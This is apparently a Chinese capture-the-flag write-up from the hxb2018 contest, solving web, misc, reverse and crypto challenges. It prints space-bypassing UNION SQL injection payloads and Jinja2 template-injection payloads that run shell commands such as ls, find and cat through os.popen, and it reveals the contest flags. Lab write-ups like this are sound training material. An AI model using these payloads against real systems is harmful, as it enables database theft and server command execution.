1、  CodeCheck（WEB）

测试admin ‘ or ‘1’=’1’# ，php报错。点击登录框下面的滚动通知，URL中有id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09，想到注入，但是不管输入什么都给弹到index，于是扔下这个思路。掏出目录扫描工具，发现存在list.zip，打开后是前面存在注入的界面。

图中告诉了加密的算法，AES-128-CBC对称加密，给了iv和key。并且若id后七位不是hxb2018则发生跳转（知道了之前一直跳index的原因），并且在最后返回的内容中会过滤掉空格。

上图可以看到注入的下面根据审计出的东西进行构造sql注入语句，因为会过滤空格，所以需要对空格进行代替，那就选择常用的注释/**/吧。

第一次注入为了测试有效性构造了1/**/and/**/1=2/**/union/**/select/**/1,2,3,4/**/hxb2018

对其进行AES-128-CBC加密，加密配置如下图：

拿到加密的结果放到id=后面，发现原通知部分显示了数字2和3，（3在正文部分）所以我们用第三个字段的位置来显示查询内容。

1，构造爆表语句:

1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(table_name),4/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/hxb2018

结果：notice，notice2，stormgroup_member

2，构造爆字段语句:

1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(column_name),4/**/from/**/information_schema.columns/**/where/**/table_name=notice2/**/hxb2018

结果：id，title

3，构造爆记录语句:

1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(id,0x3a,title),4/**/from/**/notice2/**/hxb2018

结果：1，hxb2018{088425ca08783233bbe9d21a3015f5f6}

（在这里没有写出加密的密文，在之前已经讲了如何配置加密参数，只需要把上面的SQL语句放进去直接加密皆可以了。其他表和字段只需要替换相应位置的名字即可，这里只列出了flag所在表）

在加密过程中注意的是AES-128-CBC加密的十六进制结果要进行两次base64 encode，因为上面的代码中解密过程用了两次decode。

2、  XmeO（WEB）

这道题一上来看到登录框，admin。admin登录，有个评论输入的页面，尝试是不是代码执行或命令执行，然后点击ADD添加以下代码：

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].popen(‘ls
/home/XmeO’).read()}}

（在这之前我是ls etc/passwd的，发现可以读取文件，就找了一下home目录的文件夹，发现了XmeO与题目名一样的文件夹，于是对该目录进行列文件）。下图：

根据flag格式 直接find：

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].popen(‘find
.|xargs grep -ri “hxb” -l’).read()}}

在这里一眼就看见了最后一个auto.js是第一次查询结果的第一个，直接查看这个文件：

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].popen(‘cat
/home/XmeO/auto.js’).read()}}

3.Flow（MISC）

提取pcap包在线转换成hccapx格式

用Hashcat 爆破

然后用wireshark导入密码解密

搜索flag

4题目名：Welcome（MISC）

解题思路、相关代码和Flag截图：

这个题就不说了，关注要求的公众号，发hxb2018就行

5题目名：Replace（REVERSE）

解题思路、相关代码和Flag截图：

解题思路：拿到题，先拖进ida再说，然而发现加壳了，查壳发现是upx的壳，遂找了个upx脱壳机，脱壳成功！

然而，脱壳后的程序无法正常运行，便再次拖入ida，这时代码可以顺利分析了，能不能运行就不重要了。

上图是程序，关键点就在sub_401090()函数里，进入：

分析了下，发现该算法利用已有字节数组对每个输入字符进行了加密，因此思路就是：

python模仿加密算法进行字节爆破。

Python脚本如下：

a1= [0x32,0x61,0x34,0x39,0x66,0x36,0x39,0x63,0x33,0x38,0x33,0x39,0x35,0x63,0x64,0x65,0x39,0x36,0x64,0x36,0x64,0x65,0x39,0x36,0x64,0x36,0x66,0x34,0x65,0x30,0x32,0x35,0x34,0x38,0x34,0x39,0x35,0x34,0x64,0x36,0x31,0x39,0x35,0x34,0x34,0x38,0x64,0x65,0x66,0x36,0x65,0x32,0x64,0x61,0x64,0x36,0x37,0x37,0x38,0x36,0x65,0x32,0x31,0x64,0x35,0x61,0x64,0x61,0x65,0x36]

a2=
[0x61,0x34,0x39,0x66,0x36,0x39,0x63,0x33,0x38,0x33,0x39,0x35,0x63,0x64,0x65,0x39,0x36,0x64,0x36,0x64,0x65,0x39,0x36,0x64,0x36,0x66,0x34,0x65,0x30,0x32,0x35,0x34,0x38,0x34,0x39,0x35,0x34,0x64,0x36,0x31,0x39,0x35,0x34,0x34,0x38,0x64,0x65,0x66,0x36,0x65,0x32,0x64,0x61,0x64,0x36,0x37,0x37,0x38,0x36,0x65,0x32,0x31,0x64,0x35,0x61,0x64,0x61,0x65,0x36]

a3=
[0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16]

def check(ch,i):

   
v6 = (ord(ch) >> 4) % 16

   
v7 = (16 * ord(ch) >> 4) % 16

   
v8 = a1[2 * i]

   
if  chr(v8) < ‘0’ or chr(v8)
> ‘9’:

       
v9 = v8 – ord(‘W’)

   
else:

       
v9 = v8 – ord(‘0’)

   
v10 = a2[2 * i]

   
v11 = 16 * v9

   
if  chr(v10) < ‘0’ or chr(v10)
> ‘9’:

       
v12 = v10 – ord(‘W’)

   
else:

       
v12 = v10 – ord(‘0’)

   
if a3[16 * v6 + v7] != ((v11 + v12) ^ 0x19):

       
return False

    i
+= 1

   
return True

buf = [‘1’, ‘2’, ‘3’]

flag = []

for i in range(0, 35):

   
for ch in range(0x20,0x7F):

       
if check(chr(ch), i):

            flag.append(chr(ch))

print(”.join(flag))

运行脚本，很容易就得到flag:

6、  题目名：Common Crypto（CRYPTO）

解题思路：既然题目名说是Common Crypto，那先把程序拖入ida，运行Findcrypt插件，结果如下：

说明程序中可能存在图中的加密算法，先按照这个思路来

把Big_Number先转字符串：

看着貌似没用，先放着。

下来分析程序：

可以看到，程序把输入的flag和String通过RijnDael（Findcrypt猜出来的）加密了，分析String的初始化，发现里面初始化了密钥，idc脚本导出

得到：1B2E3546586E72869BA7B5C8D9EFFFC（密钥）

继续分析程序，发现接下来程序把加密后的flag输入转成了字符并和给定串比较，那么只要解密给定串就可以知道什么是正确的flag

用工具解密：

将明文转换成字符串：

可以看到后面是乱码，因为只有前16个字节被真正加密，后面均是填充，故第一步得到的串补在刚得到的串（取16字节）后面即得到正确flag：

hxb2018{3d39929451ee66ab1658c073}